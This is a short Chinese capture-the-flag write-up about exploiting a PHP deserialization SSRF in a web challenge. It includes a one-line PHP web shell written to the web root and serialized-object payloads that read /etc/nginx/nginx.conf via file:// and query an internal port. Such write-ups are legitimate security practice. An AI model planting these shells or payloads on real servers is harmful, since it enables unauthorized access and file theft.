跟前面308 309同一个源码,只是mysql添加了密码不能ssrf了
跟309一样
不过这题的flag不能直接读,找了一下,web目录下面的flag是假的,真的在/var/flag里面,无法直接用ssrf读到,但写个木马用蚁剑连接就能读到了
同样的 利用gopherus工具生成payload
echo "<?php @eval(\$_POST[a]); ?>" > /var/www/html/1.php
之后蚁剑连接
flag在var/flag目录下的index.html里面
补充
去看了一下别的师傅的wp,看到是用file://协议读nginx.conf
配置文件找信息,这里也记录一下
<?php
class config{
public $update_url ="file:///etc/nginx/nginx.conf";
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
echo base64_encode(serialize(new dao()));
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;
之后直接读
<?php
class config{
public $update_url ="http://127.0.0.1:4476/";
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
echo base64_encode(serialize(new dao()));
感觉这个思路才是出题人想考的,学习一下。